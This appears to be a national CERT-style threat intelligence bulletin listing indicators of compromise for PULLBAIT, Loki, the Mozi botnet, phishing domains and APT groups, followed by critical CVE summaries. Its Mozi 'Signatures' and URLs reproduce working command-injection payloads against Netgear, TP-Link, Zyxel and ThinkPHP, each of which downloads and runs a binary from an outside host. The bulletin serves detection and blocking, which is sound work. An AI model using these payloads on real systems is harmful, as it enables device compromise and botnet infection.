PULLBAIT- PULLBAIT is a straightforward shellcode that serves as a downloader, enabling the execution of further malware payloads, including DOWNBAIT and CBROVER, which are part of a multi-stage infection chain linked to recent campaigns attributed to the Asia-Pacific threat group Earth Preta.

CBROVER- CBROVER is a backdoor malware that enables file downloads and remote shell execution, often functioning as a precursor to the PLUGX malware family.

ATTACK VECTORS: Phishing, Virtualization/Sandbox Evasion, C&C Server, SpearPhishing Attachment.

CYBER IMPACTS:

1. Data Theft and Espionage: State Sponsored APT groups often target intellectual property, trade secrets, and sensitive business information. This can lead to the theft of proprietary technology, research data, and confidential communications, impacting competitive advantage and business integrity.

2. Network Intrusion and Persistence: These actors employ sophisticated techniques to gain and maintain access to enterprise networks. They use advanced malware, spear-phishing, and other methods to infiltrate systems and remain undetected for long periods, which complicates detection and mitigation efforts.

3.Data Exfiltration and Manipulation: Once inside a network, APT actors can exfiltrate large volumes of data or manipulate data to disrupt business operations. This can result in misinformation, loss of data integrity, and long-term operational damage.

4. Compromise of Critical Infrastructure: Some APT groups target critical infrastructure components, which can have severe consequences. This might include disrupting industrial control systems, supply chains, or other essential services.

OPERATIONAL IMPACTS:

1. Operational Disruptions: Cyber intrusions can cause significant disruptions to normal business operations. This might include system outages, interruptions in service, or delays in production and delivery, all of which can impact overall business performance.

2. Operational Complexity and Resource Drain: The complexity of defending against APTs often requires significant resources, including specialized personnel and technology. This can strain existing resources and divert attention from other critical business functions.

3. Increased Security Costs: To defend against sophisticated APT threats, enterprises often need to invest heavily in advanced security measures, including threat detection systems, incident response capabilities, and regular security assessments.

4. Operational Complexity and Resource Drain: The complexity of defending against APTs often requires significant resources, including specialized personnel and technology. This can strain existing resources and divert attention from other critical business functions.

5. Strategic Disruption: In some cases, the exposure of strategic plans or sensitive negotiations can disrupt business strategies, partnerships, or market positioning

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP ADDRESS

154.90.32.88

HASHES

565fa2992212c89bdec334c0fd318b3fd2c91707431fd8186016f11645925892

3278c06b5510edabb3318aa1892eb7e426e97946b86eea925965a46ba1725ebd

df0e16a29c9dffe2ff7b3d4c957af7459fd7e6fa8026d067202912b997773749

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-20-015**

It has been observed that Loki backdoor, a private agent for the open-source Mythic framework, which allows the use of agents in any language, for any platform, with the required functionality. The Loki agent is a Mythic-compatible version of an agent for another framework called Havoc. Adversary employs various techniques to complicate analysis, such as encrypting its memory image, indirectly calling system API functions.

Technical Details:

Loader and DLL Architecture: Loki is divided into a loader and a DLL, with the main functionality implemented in the DLL.

Obfuscation Techniques: The agent uses a modified djb2 hashing algorithm to obscure API functions and commands.

Command & Control (C2) Communication: Upon execution, the Loki loader sends encrypted system information to a C2 server, which responds with a DLL that is loaded into the device’s memory.

Impact:

The Loki backdoor poses a significant threat due to its advanced obfuscation techniques and ability to evade detection. It can exfiltrate sensitive information, execute arbitrary commands, and maintain persistent access to compromised systems.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

46505707991e856049215a09bf403701

f0b6e7c0f0829134fe73875fadf3942f

796bdba64736a0bd6d2aafe773acba52

5ec03e03b908bf76c0bae7ec96a2ba83

0632799171501fbeeba57f079ea22735

97357d0f1bf2e4f7777528d78ffeb46e

f2132a3e82c2069eb5d949e2f1f50c94

7f85e956fc69e6f76f72eeaf98aca731

375cfe475725caa89edf6d40acd7be70

dff5fa75d190dde0f1bd22651f8d884d

05119e5ffceb21e3b447df49b52ab608

724c8e3fc74dde15ccd6441db460c4e4

834f7e48aa21c18c0f6e5285af55b607

e8b110b51f45f2d64af6619379aeef62

eb7886ddc6d28d174636622648d8e9e0

1178e7ff9d4adfe48064c507a299a628

dd8445e9b7daced487243ecba2a5d7a8

4afad607f9422da6871d7d931fe63402

URLs:

http://y.nsitelecom.ru/certcenter

http://document.info-cloud.ru/data

http://ui.telecomz.ru/data

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-20-016**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

115.126.174.35

43.153.175.54

174.160.137.252

129.146.134.26

110.24.32.49

122.96.31.246

159.65.170.197

38.132.118.69

220.158.159.10

154.47.17.56

27.43.205.60

45.115.89.242

117.222.197.178

107.172.180.42

47.236.150.79

117.223.27.36

80.76.42.88

182.155.70.109

120.85.112.98

42.7.221.86

102.33.104.119

94.63.35.175

187.119.227.198

103.1.213.217

146.212.54.227

125.231.87.18

120.85.113.230

117.199.155.169

182.122.254.177

185.226.106.194

186.93.147.36

80.82.70.198

24.152.49.141

212.127.78.96

119.180.14.73

206.217.205.109

51.81.29.174

175.107.2.214

113.199.21.42

47.236.147.46

31.172.87.248

74.90.80.242

27.43.206.215

117.220.147.16

42.54.23.250

186.209.125.44

59.183.136.230

5.59.248.92

195.62.32.249

117.219.138.233

112.94.96.171

221.202.27.46

117.72.79.140

42.112.110.137

43.225.189.166

59.88.13.78

120.86.255.26

175.107.2.150

116.140.172.224

82.118.29.30

125.41.72.105

120.85.114.139

111.255.135.231

103.200.87.76

89.248.171.23

60.248.227.197

117.206.67.76

79.98.181.46

73.173.68.69

59.88.248.162

94.102.63.27

103.108.94.166

112.94.98.241

117.221.192.45

117.253.61.22

189.99.5.109

27.206.88.79

68.183.17.85

94.134.182.254

79.117.174.107

27.36.55.81

27.36.54.178

106.107.214.100

175.107.0.128

45.230.66.131

36.228.245.194

185.191.126.213

27.47.3.77

112.94.99.209

220.158.159.212

154.127.118.170

59.99.208.56

103.203.73.117

206.217.206.111

194.127.199.97

117.206.180.237

45.230.66.154

42.85.194.166

117.248.171.159

120.85.112.73

117.219.170.64

120.85.143.202

150.246.185.107

193.32.248.245

117.245.40.93

120.61.71.157

138.199.60.18

193.84.71.195

103.247.52.147

45.230.66.129

103.199.200.77

120.85.112.202

172.121.199.60

202.65.130.162

117.207.178.19

119.77.139.135

185.224.128.62

45.141.152.76

122.97.137.73

37.19.218.8

24.30.89.76

79.157.11.247

110.24.36.130

176.212.72.180

120.85.112.72

116.204.183.143

198.44.128.199

103.180.161.68

104.244.210.253

149.102.237.37

198.54.133.135

182.123.249.97

120.85.184.75

203.154.83.226

125.43.91.182

146.70.128.199

8.40.201.27

120.86.253.111

146.70.173.10

61.61.60.51

104.157.22.194

102.33.76.195

59.97.118.209

37.120.147.157

117.208.22.125

182.127.181.215

31.6.10.188

188.113.75.97

154.72.192.130

103.195.4.182

61.3.11.186

47.208.201.208

173.246.5.140

59.91.88.193

45.230.66.140

61.0.215.18

103.19.190.93

191.162.155.24

103.169.67.140

117.213.119.253

122.155.223.101

216.16.71.49

183.15.205.4

179.35.21.246

61.53.119.176

45.254.254.160

45.230.66.135

103.144.28.61

123.253.35.202

117.208.86.202

112.94.97.37

49.51.252.53

169.150.203.5

179.91.104.124

117.248.161.198

45.118.144.54

181.177.217.241

165.23.42.204

112.242.16.129

193.239.147.201

185.254.75.35

59.99.132.233

117.251.170.88

194.114.136.101

27.122.61.193

115.56.151.61

120.85.112.227

117.217.88.209

5.59.248.127

190.5.190.13

222.240.13.163

103.200.87.235

114.24.152.106

204.216.223.91

27.43.206.122

24.152.49.140

212.192.29.216

208.131.130.79

62.60.160.234

117.252.37.242

117.222.125.165

94.102.49.123

39.90.147.4

120.86.252.13

141.98.11.84

157.20.228.4

117.199.158.232

27.47.3.86

45.66.231.148

45.77.173.166

59.178.187.231

146.70.184.74

45.76.241.242

174.59.85.98

45.202.35.94

202.170.201.61

103.200.84.142

113.204.37.34

178.72.76.99

221.14.52.172

117.216.144.47

59.93.129.245

103.149.87.69

182.18.172.226

117.255.103.107

177.93.61.173

117.217.201.155

59.99.130.41

120.86.255.194

175.107.38.248

117.247.27.163

117.245.211.34

120.86.252.170

45.202.35.88

27.204.225.161

117.209.1.201

220.158.159.203

45.147.48.140

182.116.13.249

164.92.253.57

103.247.7.192

117.248.173.10

42.5.240.2

60.219.184.101

115.55.235.196

222.247.0.96

27.47.38.41

81.0.248.203

103.127.28.218

178.141.26.100

115.55.150.44

206.255.138.180

186.48.107.229

24.129.213.43

122.96.31.174

165.120.87.116

219.154.155.159

182.116.22.201

74.48.130.33

98.30.86.47

72.231.204.28

201.110.99.245

45.230.66.132

220.158.158.128

116.206.228.185

74.48.123.221

90.199.117.197

170.78.39.109

146.70.173.138

61.0.179.130

71.198.21.11

27.122.61.228

27.43.207.227

102.51.45.56

103.208.230.5

45.134.140.146

45.230.66.139

103.15.252.251

116.138.161.94

117.253.53.226

1.171.98.248

117.219.34.244

45.230.66.145

59.89.70.116

49.148.48.121

61.111.251.245

73.109.76.159

191.162.146.116

59.91.83.142

174.104.71.173

117.221.50.170

76.141.146.198

106.161.65.206

125.44.16.156

195.62.25.205

117.208.252.83

146.70.193.74

184.56.188.230

115.55.254.222

139.59.92.140

106.57.28.30

141.255.160.234

36.41.184.42

85.254.140.251

203.57.50.250

119.186.209.35

59.180.190.254

67.181.82.18

37.19.200.159

50.3.182.152

66.115.189.202

74.48.186.17

103.197.115.126

146.70.134.39

117.198.11.19

74.48.96.85

171.7.121.106

103.114.220.90

8.219.40.245

59.96.247.250

117.253.5.170

98.97.6.220

47.198.77.12

24.64.72.247

196.188.115.241

59.183.121.138

125.95.224.221

URLs:-

http://125.43.91.182:55522/Mozi.m

http://170.78.39.109:37552/Mozi.m

http://117.199.155.169:47272/Mozi.m

http://45.115.89.242:43682/Mozi.m

http://103.247.52.147:51801/Mozi.m

http://59.97.118.209:34493/Mozi.m

http://172.20.25.29/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://220.158.158.128:53635/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

http://119.186.209.35:41371/Mozi.m

http://61.53.119.176:47568/Mozi.m

http://27.122.61.193:58783/Mozi.m

http://221.14.52.172:54942/Mozi.m

http://193.84.71.195/bins/x86

http://45.230.66.135:11651/Mozi.m

http://193.239.147.201/bins/x86

http://125.41.72.105:46661/Mozi.m

http://117.216.144.47:36832/Mozi.m

http://45.230.66.154:11143/Mozi.m

http://117.209.1.201:36465/Mozi.m

http://103.200.87.76:56166/Mozi.m

http://117.206.180.237:48269/Mozi.m

http://117.255.103.107:43448/Mozi.m

http://110.24.36.130:45677/Mozi.a

http://59.183.136.230:36240/Mozi.m

http://117.208.252.83:54280/Mozi.m

http://39.90.147.4:50607/Mozi.m

http://117.222.197.178:49978/Mozi.a

http://59.89.70.116:36501/Mozi.m

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://5.59.248.92/mips

http://189.99.5.109:40896/Mozi.m

http://172.20.30.114/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://117.207.178.19:41184/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

http://117.208.22.125:60534/Mozi.m

http://27.206.88.79:43538/Mozi.m

http://182.116.13.249:42092/Mozi.m

http://172.16.176.25/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://61.3.11.186:36315/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

http://27.204.225.161:51776/Mozi.m

http://117.217.201.155:39299/Mozi.a

http://50.3.182.152/shk

http://117.247.27.163:40109/Mozi.m

http://47.208.201.208:33262/Mozi.a

http://59.96.247.250:34883/Mozi.m

http://45.230.66.140:10944/Mozi.m

http://117.219.34.244:57252/Mozi.m

http://110.24.32.49:58363/Mozi.m

http://202.170.201.61:49594/Mozi.a

http://59.91.88.193:35434/Mozi.m

http://42.7.221.86:58348/Mozi.m

http://103.247.7.192:52825/Mozi.m

http://59.88.248.162:34190/Mozi.m

http://157.20.228.4:38108/Mozi.m

http://115.55.254.222:58547/Mozi.m

http://116.138.161.94:35467/Mozi.m

http://59.88.13.78:47028/Mozi.m

http://188.113.75.97:46387/Mozi.m

http://45.202.35.88/tplink

http://117.221.192.45:36233/Mozi.m

http://45.230.66.129:11206/Mozi.m

http://175.107.2.214:45830/Mozi.m

http://201.110.99.245:60890/Mozi.m

http://117.248.171.159:40541/Mozi.m

http://103.149.87.69/Ft

http://175.107.2.150:36837/Mozi.m

http://117.221.50.170:39204/Mozi.m

http://182.127.181.215:45489/Mozi.m

http://45.230.66.139:11893/Mozi.m

http://106.57.28.30:36453/Mozi.m

http://116.140.172.224:32814/Mozi.m

http://59.93.129.245:36028/Mozi.m

http://117.253.5.170:38888/Mozi.m

http://45.202.35.36/

http://125.44.16.156:39997/Mozi.m

http://45.77.173.166/admin/test1234567

http://179.91.104.124:44624/Mozi.m

http://220.158.159.203:57724/Mozi.m

http://196.188.115.241:51841/Mozi.a

http://45.230.66.131:10348/Mozi.m

http://182.116.22.201:60028/Mozi.m

http://186.93.147.36:45343/Mozi.m

http://120.61.71.157:56856/Mozi.m

http://102.51.45.56:60027/Mozi.m

http://103.208.230.5:58641/Mozi.a

http://117.245.40.93:43700/Mozi.m

http://5.59.248.127/bins/x86

http://60.219.184.101:39589/Mozi.m

http://51.81.29.174/batman.arm4

http://102.33.104.119:60867/Mozi.m

http://45.230.66.132:10552/Mozi.m

http://117.223.27.36:39147/Mozi.m

http://42.5.240.2:32962/Mozi.m

http://59.178.187.231:49178/Mozi.m

http://42.85.194.166:38988/Mozi.m

http://103.200.87.235:51837/Mozi.m

http://61.0.215.18:58129/Mozi.m

http://117.220.147.16:56485/Mozi.m

http://115.55.235.196:36874/Mozi.m

http://103.199.200.77:54626/Mozi.m

http://59.99.208.56:36554/Mozi.a

http://45.202.35.94/tplink

http://27.36.55.81:39992/Mozi.m

http://103.197.115.126:37225/Mozi.m

http://103.149.87.69/

http://185.226.106.194/batman.arm4

http://117.213.119.253:59644/Mozi.m

http://103.200.84.142:51064/Mozi.m

http://61.0.179.130:35710/Mozi.m

http://117.253.61.22:47173/Mozi.m

http://102.33.76.195:39017/Mozi.m

http://182.123.249.97:43390/Mozi.m

http://117.206.67.76:43425/Mozi.m

http://172.16.176.25/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://59.183.136.230:36240/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

http://42.54.23.250:41815/Mozi.m

http://103.114.220.90:60511/Mozi.m

http://117.219.170.64:45472/Mozi.m

http://220.158.159.212:49182/Mozi.m

http://73.173.68.69/malware/mirai.sh

http://175.107.0.128:46068/Mozi.m

http://24.152.49.140:58322/Mozi.m

http://117.248.161.198:46151/Mozi.m

http://221.202.27.46:35415/Mozi.m

http://178.141.26.100:58621/Mozi.m

http://31.172.87.248/bns/x86

http://59.91.83.142:54871/Mozi.m

http://117.199.158.232:42541/Mozi.m

http://59.99.130.41:50311/Mozi.m

http://59.180.190.254:56133/Mozi.m

http://175.107.38.248:43773/Mozi.m

http://117.248.173.10:59283/Mozi.m

http://187.119.227.198:58910/Mozi.m

http://59.99.132.233:58547/Mozi.m

http://103.15.252.251:44174/Mozi.m

http://59.183.121.138:37316/Mozi.m

http://61.3.11.186:36315/Mozi.m

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;amp;operation=write&amp;amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

http://117.251.170.88:52515/Mozi.m

http://117.217.88.209:53082/Mozi.m

http://117.198.11.19:59334/Mozi.m

http://220.158.158.128:53635/Mozi.m

http://125.95.224.221:42137/Mozi.m

http://bins.rootwho.su/sshdbot

http://103.203.73.117:53916/Mozi.m

http://182.122.254.177:47331/Mozi.m

http://219.154.155.159:58927/Mozi.m

http://115.56.151.61:46408/Mozi.a

http://117.208.86.202:50969/Mozi.m

http://220.158.159.10:43722/Mozi.m

http://117.219.138.233:48957/Mozi.m

http://119.180.14.73:58283/Mozi.m

http://117.222.125.165:60839/Mozi.m

http://45.66.231.148/

http://117.207.178.19:41184/Mozi.m

Signatures:

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://102.51.45.56:60027/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://172.20.25.29/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://220.158.158.128:53635/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://119.186.209.35:41371/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.255.103.107:43448/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://172.20.30.114/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://117.207.178.19:41184/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.206.67.76:43425/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://103.208.230.5:58641/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/shell?cd+/tmp;rm+-rf+\*;wget+http://110.24.36.130:45677/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://45.230.66.131:10348/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;amp;operation=write&amp;amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget

http://193.84.71.195/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/shell?cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F73.173.68.69%2Fmalware%2Fmirai.sh%3B%20sh%20mirai.sh

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.209.1.201:36465/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://103.203.73.117:53916/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://5.59.248.92/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;

http://172.16.176.25/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://61.3.11.186:36315/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

/shell?cd+/tmp;rm+-rf+\*;wget+http://202.170.201.61:49594/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/shell?cd+/tmp;rm+-rf+\*;wget+http://115.56.151.61:46408/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://60.219.184.101:39589/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://188.113.75.97:46387/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wgethttp://193.84.71.195/bins/x86-Othonkphp;chmod777thonkphp;./thonkphpThinkPHP;rm-rfthinkphp

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.88.13.78:47028/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://172.16.176.25/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://59.183.136.230:36240/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

/shell?cd+/tmp;rm+-rf+\*;wget+http://59.99.208.56:36554/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/shell?cd%20/tmp;%20wget%20http://51.81.29.174/batman.arm4;%20chmod%20777%20\*;%20./batman.arm4;%20rm%20-rf%20\*;%20history%20-c

/shell?cd%20/tmp;%20wget%20http://185.226.106.194/batman.arm4;%20chmod%20777%20\*;%20./batman.arm4;%20rm%20-rf%20\*;%20history%20-c

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://45.230.66.140:10944/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://5.59.248.127/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-20-007**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains a hyperlink which is a phishing link. The IP address on which malicious domain is hosted is currently active and involved in compromising the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

URL:

https://iosqyqm.com/

Domain:

iosqyqm.com

IP:

103.101.191.240

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-20-005**

It has been observed that following Advanced Persistent Threat (APT) actors are targeting critical sectors:

Threat Actor APT36

Threat actor APT36 also known as Transparent Tribe is primarily targeting Indian Government sector especially Indian defense establishment and armed forces personnel to gather sensitive information.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

206.189.134.246

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Threat Actor SideCopy

Threat actor SideCopy is primarily targeting defence establishments and government agencies. Adversary performs cyber-espionage operations with the intent of collecting sensitive information from Indian agencies.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

157.173.198.190 over port 15124

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Threat Actor ShadowPad**

Threat actor ShadowPad stealthily infiltrates target systems and provides attackers with the ability to gather data and control the compromised systems remotely.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

94.140.115.117

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Threat actor using Crimson RAT malware**

The threat actor is using Crimson RAT malware that provides attackers with the ability to gather data and control the compromised systems remotely.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

193.142.59.109

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-20-005**

Vulnerability in TOTOLINK

A buffer overflow vulnerability has been discovered in TOTOLINK. The affected version is TOTOLINK AC1200 T8 v4.1.5cu.861\_B20230220.

CVE ID: CVE-2024-46419 (Critical)

Vulnerability in TELSAT marKoni

An improper access control vulnerability has been discovered in TELSAT marKoni FM Transmitters.

CVE ID: CVE-2024-39376 (Critical)

Vulnerability in D-Link

A stack based buffer overflow vulnerability has been discovered in D-Link wireless routers that allows to exploit the vulnerability to execute arbitrary code on the device.

CVE ID: CVE-2024-45695 (Critical)

Vulnerability in SolarWinds Access Rights Manager

An authentication bypass vulnerability has been discovered in SolarWinds Access Rights Manager. Successful exploitation of vulnerability allows access to the RabbitMQ management console.

CVE ID: CVE-2024-28990 (Critical)

Vulnerability in Dell PowerScale InsightIQ

A use of a broken or risky cryptographic algorithm vulnerability has been discovered in Dell PowerScale InsightIQ. The affected versions are Dell PowerScale InsightIQ versions 5.0 through 5.1.

CVE ID: CVE-2024-39583 (Critical)

Vulnerability in SolarWinds Access Rights Manager (ARM)

A Remote Code Execution (RCE) vulnerability has been discovered in SolarWinds Access Rights Manager (ARM). This vulnerability allows an authenticated user to abuse the service, resulting in remote code execution.

CVE: CVE-2024-28991 (Critical)

